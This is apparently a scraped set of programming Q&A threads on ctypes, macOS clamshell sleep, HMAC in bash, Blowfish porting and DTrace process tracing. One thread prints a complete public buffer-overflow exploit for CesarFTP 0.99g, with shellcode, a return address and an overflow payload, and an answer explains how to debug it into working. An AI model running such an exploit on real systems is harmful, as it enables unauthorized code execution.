Building an UCS4 string buffer in python 2.7 ctypes - windows

In an attempt to recreate the getenvironment(..) C function of _winapi.c (direct link) in plain python using ctypes, I'm wondering how the following C code could be translated:
buffer = PyMem_NEW(Py_UCS4, totalsize);
if (! buffer) {
PyErr_NoMemory();
goto error;
}
p = buffer;
end = buffer + totalsize;
for (i = 0; i < envsize; i++) {
PyObject* key = PyList_GET_ITEM(keys, i);
PyObject* value = PyList_GET_ITEM(values, i);
if (!PyUnicode_AsUCS4(key, p, end - p, 0))
goto error;
p += PyUnicode_GET_LENGTH(key);
*p++ = '=';
if (!PyUnicode_AsUCS4(value, p, end - p, 0))
goto error;
p += PyUnicode_GET_LENGTH(value);
*p++ = '\0';
}
/* add trailing null byte */
*p++ = '\0';
It seems that the function ctypes.create_unicode_buffer(..) (doc, code) is doing something quite close that I could reproduce if only I could have an access to Py_UCS4 C type or be sure of its link to any other type accessible to python through ctypes.
Would c_wchar be a good candidate ?, but it seems I can't make that assumption, as python 2.7 could be compiled in UCS-2 if I'm right (source), and I guess windows is really waiting fo UCS-4 there... even if it seems that ctypes.wintypes.LPWSTR is an alias to c_wchart_p in cPython 2.7 (code).
For this question, it is safe to make the assumption that the target platform is python 2.7 on Windows if that helps.
Context (if it has some importance):
I'm in the process of delving for the first time in ctypes to attempt a plain python fix at cPython 2.7's bug hitting windows subprocess.Popen(..) implementation. This bug is a won't fix. This bug prevents the usage of unicode in command line calls (as executable name or arguments). This is fixed in python 3, so I'm having a go at reverse implementing in plain python the actual cPython3 implementation of the required CreateProcess(..) in _winapi.c which calls in turn getenvironment(..).
This possible workaround was mentionned in the comments of this answer to a question related to subprocess.Popen(..) unicode issues.

This doesn't answer the part in the title about build specifically UCS4 buffer. But it gives a partial answer to the question in bold and manage to create a unicode buffer that seems to work on my current python 2.7 on windows: (so maybe UCS4 is not required).
So we are here taking the assumption that c_wchar is what windows require (if it is UCS4 or UCS2 is not so clear to me yet, and it might have no importance, but I recon having a very light confidence in my knowledge here).
So here is the python code that reproduces the C code as requested in the question:
## creation of buffer of size totalsize
wenv = (c_wchar * totalsize)()
wenv.value = (unicode("").join([
unicode("%s=%s\0") % (key, value)
for k, v in env.items()])) + "\0"
This wenv can then be fed to CreateProcessW and this seems to work.

Related

Enabling Closed-Display Mode w/o Meeting Apple's Requirements

EDIT:
I have heavily edited this question after making some significant new discoveries and the question not having any answers yet.
Historically/AFAIK, keeping your Mac awake while in closed-display mode and not meeting Apple's requirements, has only been possible with a kernel extension (kext), or a command run as root. Recently however, I have discovered that there must be another way. I could really use some help figuring out how to get this working for use in a (100% free, no IAP) sandboxed Mac App Store (MAS) compatible app.
I have confirmed that some other MAS apps are able to do this, and it looks like they might be writing YES to a key named clamshellSleepDisabled. Or perhaps there's some other trickery involved that causes the key value to be set to YES? I found the function in IOPMrootDomain.cpp:
void IOPMrootDomain::setDisableClamShellSleep( bool val )
{
if (gIOPMWorkLoop->inGate() == false) {
gIOPMWorkLoop->runAction(
OSMemberFunctionCast(IOWorkLoop::Action, this, &IOPMrootDomain::setDisableClamShellSleep),
(OSObject *)this,
(void *)val);
return;
}
else {
DLOG("setDisableClamShellSleep(%x)\n", (uint32_t) val);
if ( clamshellSleepDisabled != val )
{
clamshellSleepDisabled = val;
// If clamshellSleepDisabled is reset to 0, reevaluate if
// system need to go to sleep due to clamshell state
if ( !clamshellSleepDisabled && clamshellClosed)
handlePowerNotification(kLocalEvalClamshellCommand);
}
}
}
I'd like to give this a try and see if that's all it takes, but I don't really have any idea about how to go about calling this function. It's certainly not a part of the IOPMrootDomain documentation, and I can't seem to find any helpful example code for functions that are in the IOPMrootDomain documentation, such as setAggressiveness or setPMAssertionLevel. Here's some evidence of what's going on behind the scenes according to Console:
I've had a tiny bit of experience working with IOMProotDomain via adapting some of ControlPlane's source for another project, but I'm at a loss for how to get started on this. Any help would be greatly appreciated. Thank you!
EDIT:
With #pmdj's contribution/answer, this has been solved!
Full example project:
https://github.com/x74353/CDMManager
This ended up being surprisingly simple/straightforward:
1. Import header:
#import <IOKit/pwr_mgt/IOPMLib.h>
2. Add this function in your implementation file:
IOReturn RootDomain_SetDisableClamShellSleep (io_connect_t root_domain_connection, bool disable)
{
uint32_t num_outputs = 0;
uint32_t input_count = 1;
uint64_t input[input_count];
input[0] = (uint64_t) { disable ? 1 : 0 };
return IOConnectCallScalarMethod(root_domain_connection, kPMSetClamshellSleepState, input, input_count, NULL, &num_outputs);
}
3. Use the following to call the above function from somewhere else in your implementation:
io_connect_t connection = IO_OBJECT_NULL;
io_service_t pmRootDomain = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOPMrootDomain"));
IOServiceOpen (pmRootDomain, current_task(), 0, &connection);
// 'enable' is a bool you should assign a YES or NO value to prior to making this call
RootDomain_SetDisableClamShellSleep(connection, enable);
IOServiceClose(connection);
I have no personal experience with the PM root domain, but I do have extensive experience with IOKit, so here goes:
You want IOPMrootDomain::setDisableClamShellSleep() to be called.
A code search for sites calling setDisableClamShellSleep() quickly reveals a location in RootDomainUserClient::externalMethod(), in the file iokit/Kernel/RootDomainUserClient.cpp. This is certainly promising, as externalMethod() is what gets called in response to user space programs calling the IOConnectCall*() family of functions.
Let's dig in:
IOReturn RootDomainUserClient::externalMethod(
uint32_t selector,
IOExternalMethodArguments * arguments,
IOExternalMethodDispatch * dispatch __unused,
OSObject * target __unused,
void * reference __unused )
{
IOReturn ret = kIOReturnBadArgument;
switch (selector)
{
…
…
…
case kPMSetClamshellSleepState:
fOwner->setDisableClamShellSleep(arguments->scalarInput[0] ? true : false);
ret = kIOReturnSuccess;
break;
…
So, to invoke setDisableClamShellSleep() you'll need to:
Open a user client connection to IOPMrootDomain. This looks straightforward, because:
Upon inspection, IOPMrootDomain has an IOUserClientClass property of RootDomainUserClient, so IOServiceOpen() from user space will by default create an RootDomainUserClient instance.
IOPMrootDomain does not override the newUserClient member function, so there are no access controls there.
RootDomainUserClient::initWithTask() does not appear to place any restrictions (e.g. root user, code signing) on the connecting user space process.
So it should simply be a case of running this code in your program:
io_connect_t connection = IO_OBJECT_NULL;
IOReturn ret = IOServiceOpen(
root_domain_service,
current_task(),
0, // user client type, ignored
&connection);
Call the appropriate external method.
From the code excerpt earlier on, we know that the selector must be kPMSetClamshellSleepState.
arguments->scalarInput[0] being zero will call setDisableClamShellSleep(false), while a nonzero value will call setDisableClamShellSleep(true).
This amounts to:
IOReturn RootDomain_SetDisableClamShellSleep(io_connect_t root_domain_connection, bool disable)
{
uint32_t num_outputs = 0;
uint64_t inputs[] = { disable ? 1 : 0 };
return IOConnectCallScalarMethod(
root_domain_connection, kPMSetClamshellSleepState,
&inputs, 1, // 1 = length of array 'inputs'
NULL, &num_outputs);
}
When you're done with your io_connect_t handle, don't forget to IOServiceClose() it.
This should let you toggle clamshell sleep on or off. Note that there does not appear to be any provision for automatically resetting the value to its original state, so if your program crashes or exits without cleaning up after itself, whatever state was last set will remain. This might not be great from a user experience perspective, so perhaps try to defend against it somehow, for example in a crash handler.

HMAC-SHA1 in bash

Is there a bash script available to generate a HMAC-SHA1 hash?
The equivalent of the following PHP code:
hash_hmac("sha1", "value", "key", TRUE);
Parameters
true : When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.
Thanks.
see HMAC-SHA1 in bash
In bash itself, no, it can do a lot of stuff but it also knows when to rely on external tools.
For example, the Wikipedia page provides a Python implementation which bash can call to do the grunt work for HMAC_MD5, repeated below to make this answer self-contained:
#!/usr/bin/env python
from hashlib import md5
trans_5C = "".join(chr(x ^ 0x5c) for x in xrange(256))
trans_36 = "".join(chr(x ^ 0x36) for x in xrange(256))
blocksize = md5().block_size
def hmac_md5(key, msg):
if len(key) > blocksize:
key = md5(key).digest()
key += chr(0) * (blocksize - len(key))
o_key_pad = key.translate(trans_5C)
i_key_pad = key.translate(trans_36)
return md5(o_key_pad + md5(i_key_pad + msg).digest())
if __name__ == "__main__":
h = hmac_md5("key", "The quick brown fox jumps over the lazy dog")
print h.hexdigest() # 80070713463e7749b90c2dc24911e275
(keeping in mind that Python also contains SHA1 stuff as well, see here for details on how to use HMAC with the hashlib.sha1() constructor).
Or, if you want to run the exact same code as PHP does, you could try running it with phpsh, as detailed here.

Why is cesarftp python exploits not working?

I tested on my server that has cesarftp running. I debugged the ftp server on the server using ollydbg.
The exploit I used is http://www.exploit-db.com/exploits/1906/
#!/usr/bin/python
#CesarFtp 0.99g 0day Exploit
#Proof of Concept: execute calc.exe
#Tested on XP sp2 polish
#Bug found by h07 [h07#interia.pl]
#Date: 10.06.2006
from socket import *
shellcode = ( #execute calc.exe <metasploit.com>
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
def intel_order(i):
a = chr(i % 256)
i = i >> 8
b = chr(i % 256)
i = i >> 8
c = chr(i % 256)
i = i >> 8
d = chr(i % 256)
str = "%c%c%c%c" % (a, b, c, d)
return str
host = "192.168.0.1"
port = 21
user = "ftp"
password = "ftp"
EIP = 0x773D10A4 #jmp esp <shell32.dll XP professional sp2 english>
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)
s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)
buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3 + intel_order(EIP)
buffer += "\x90" * 40 + shellcode
buffer += "\r\n"
print "len: %d" % (len(buffer))
s.send(buffer)
print s.recv(1024)
s.close()
#EoF
# milw0rm.com [2006-06-12]
I changed the "JMP ESP" address to the correct one (as the server is not running Polish XP; it's running English XP. I found this using executable modules on ollydbg and searching for command "JMP ESP".)
However, the exploit failed to execute properly, and after logging in, the ftp server just crashed, not bringing up shell.
It seems to me that the code only needs modification on "JMP ESP" area..
What did I do wrong?
Edit: the shellcode seems to, if properly executed, bring up calc.exe. This didn't happen. And obviously, there was no shell obtained.
It's possible the vulnerable function is not copying your data with strcpy() but with strcat(). This is a common rookie mistake when writing exploits by trial and error.
Since the value being read is supposed to be a path, it's possible that what's really happening here is that your string is being concatenated to the path of the root of the FTP server.
If that happens, then you not only have to change the just address but the offset to it in the payload string (the "671" value). Unfortunately this would also mean the exploit will depend on knowing the exact location of the FTP root.
To make sure you'll have to attach a debugger and see what's going on before and after the payload is sent. Try the following:
Attach the debugger to the FTP server.
Run the exploit. It will crash the server.
Now EIP will point to 0x90909090 or 0x0d0d0d0d. Examine the stack until you find a valid pointer to code (the return address of a parent function).
Now kill the server and start it over.
Attach the debugger again, and set a breakpoint at the beginning of that parent function you found.
Run the exploit again. Now the breakpoint should hit. Run the code step by step until you find the vulnerable function. Now you'll be able to see which function has the bug and what the stack looks like before you smash it.

Porting TurboPower Blowfish to .Net

I have an application that was originally written in Borland C++ and used a Blowfish algorithm implemented in the TurboPower LockBox component .
This application has now been ported to C#. Currently I call a Borland C++ dll that uses this algorithm. However, when running the application on a 64-bit OS, I get errors whenever attempting to use this dll. If I compile the application as 32-bit, everything works, but we want to have this application work as a 64-bit app. As far as I can tell, that means I need a .Net Blowfish algorithm that works like the C++ one.
I found Blowfish.Net and it looks promising. However, when I use the same key and text the encrypted results do not match. I did find out the C++ dll uses the BlowfishECB algorithm. It also converts the result to Base 64, which I have also done.
Any help with this would be appreciated. Here is some test code in C#.
//Convert the key to a byte array. In C++ the key was 16 bytes long
byte[] _key = new byte[16];
Array.Clear(_key, 0, _key.Length);
var pwdBytes = System.Text.Encoding.Default.GetBytes(LicEncryptKey);
int max = Math.Min(16, pwdBytes.Length);
Array.Copy(pwdBytes, _key, max);
//Convert the string to a byte[] and pad it to to the 8 byte block size
var decrypted = System.Text.Encoding.ASCII.GetBytes(originalString);
var blowfish = new BlowfishECB();
blowfish.Initialize(_key, 0, _key.Length);
int arraySize = decrypted.Length;
int diff = arraySize%BlowfishECB.BLOCK_SIZE;
if (diff != 0)
{
arraySize += (BlowfishECB.BLOCK_SIZE - diff);
}
var decryptedBytes = new Byte[arraySize];
Array.Clear(decryptedBytes, 0, decryptedBytes.Length);
Array.Copy(decrypted, decryptedBytes, decrypted.Length);
//Prepare the byte array for the encrypted string
var encryptedBytes = new Byte[decryptedBytes.Length];
Array.Clear(encryptedBytes, 0, encryptedBytes.Length);
blowfish.Encrypt(decryptedBytes, 0, encryptedBytes, 0, decryptedBytes.Length);
//Convert to Base64
string result = Convert.ToBase64String(encryptedBytes);
It won't compatible with your TurboPower LockBox data.
I'd suggest that you provide a utility to do the data migration by decoding using LockBox in C++ (32-bit), outputting to temp files/tables and re-encoding using Blowfish.Net and C# (64-bit).
This data migration is done once before any upgrade to the .NET version, then it's all compatible with it.
Since you're changing the format: you could also change the format and omit the Base64 conversion by storing binary files/BLOBs, other ideas may also be useful like applying multiple encryptions, or replacing Blowfish by something else.

Monitor Cocoa apps for execution of external utilities (e.g., ffmpeg) on Mac OS X?

There are Mac GUI applications which provide a front-end to more geeky commandline tools (often included as a part of the application package). I would like to look at what is happening under the hood of such GUIs.
How to "attach" to an application, monitor it for calls to command line utilities and log a filename and command line parameters of these calls?
A solution can also be an application that logs execution of all applications on Mac OS X (filtering out the most common system calls).
Example GUI frontend: http://xact.sourceforge.net/ (since it is open source one can just debug it, but xACT is just an example. let's pretend we have just a ready-made *.app to monitor).
Update: dtrace can monitor exec calls and print name of the command called. that's a half of the solution, the other half is getting its command line arguments. that's unsolved yet (until someone confirms they have got dtrace to do this).
DTrace can do the job. Based on the discussion I had with Joey Hagedorn in the comments elsewhere on this question, the script that comes with 10.6 can be improved to work with a reasonable number of arguments (50+). Because the script has a lot of repetition, I'll include here a script which outputs the DTrace script which works well. This one does up to 50 arguments; you may want to extend the number of arguments by changing the for-loop.
#!/bin/bash
cat <<HEADER
#!/usr/sbin/dtrace -s
/*
* newproc.d - snoop new processes as they are executed. DTrace OneLiner.
*
* This is a DTrace OneLiner from the DTraceToolkit.
*
* 15-May-2005 Brendan Gregg Created this.
*/
/*
* Updated to capture arguments in OS X. Unfortunately this isn't straight forward...
*/
#pragma D option quiet
this unsigned long long argv_ptr; /* Wide enough for 64 bit user procs */
proc:::exec-success
{
print_pid[pid] = 1; /* This pid emerged from an exec, make a note of that. */
}
/*
* The "this" variables are local to (all) of the following syscall::mmap:return probes,
* and only those probes. They must be initialized before use in each new firing.
*/
syscall::mmap:return
{
this->argc = 0; /* Disable argument collection until we notice an exec-success */
}
syscall::mmap:return
/ print_pid[pid] /
{
print_pid[pid] = 0;
this->is64Bit = curpsinfo->pr_dmodel == PR_MODEL_ILP32 ? 0 : 1;
this->wordsize = this->is64Bit ? 8 : 4;
this->argc = curpsinfo->pr_argc;
this->argc = (this->argc < 0) ? 0 : this->argc; /* Safety */
this->argv_ptr = curpsinfo->pr_argv;
printf("%d %s ", pid, this->is64Bit ? "64b" : "32b");
}
HEADER
for ((i=0;i<50;++i)); do
cat <<REPEAT
syscall::mmap:return
/ this->argc /
{
this->here_argv = copyin(this->argv_ptr, this->wordsize);
this->arg = this->is64Bit ? *(unsigned long long*)(this->here_argv) : *(unsigned long*)(this->here_argv);
printf("%s ", copyinstr(this->arg));
this->argv_ptr += this->wordsize;
this->argc--;
}
REPEAT
done
cat <<FOOTER
syscall::mmap:return
/ this->argv_ptr /
{
printf("%s\n", this->argc > 0 ? "(...)" : "");
this->argc = 0;
this->argv_ptr = 0;
}
FOOTER
newproc.d is yet another dtrace script which does also output the command line arguments of the processes in the to the process names. Running it is simple:
sudo newproc.d
This works for me on OS X Mountain Lion. Older versions may have various problems; see the comments thread on this ServerFault answer for some discussion of newproc.d on Leopard and Snow Leopard.
Also, you should be aware of a few minor limitations. If you take a look at the script's source code, it indicates that it will not display more than 5 arguments, and it will not display arguments that are longer than 128 characters in length:
/*
* Updated to capture arguments in OS X. Unfortunately this isn't straight forward... nor inexpensive ...
* Bound the size of copyinstr()'s and printf incrementally to prevent "out of scratch space errors"
* print "(...)" if the length of an argument exceeds COPYINSTRLIMIT.
* print "<...>" if argc exceeds 5.
*/
inline int COPYINSTRLIMIT = 128;
You could use dtrace to monitor the exec*() system calls and display the arguments when they're invoked. dtrace is documented here:
https://wikis.oracle.com/display/DTrace/Documentation
Graham: dtrace would be perfect here. could you (or anyone else here) show a dtrace script that would print the commandline of the process?
This oneliner prints names of processes being executed:
dtrace -qn 'syscall::exec*:return { printf("%Y %s\n",walltimestamp,curpsinfo->pr_psargs); }'
But how to get / print their command line arguments?

Resources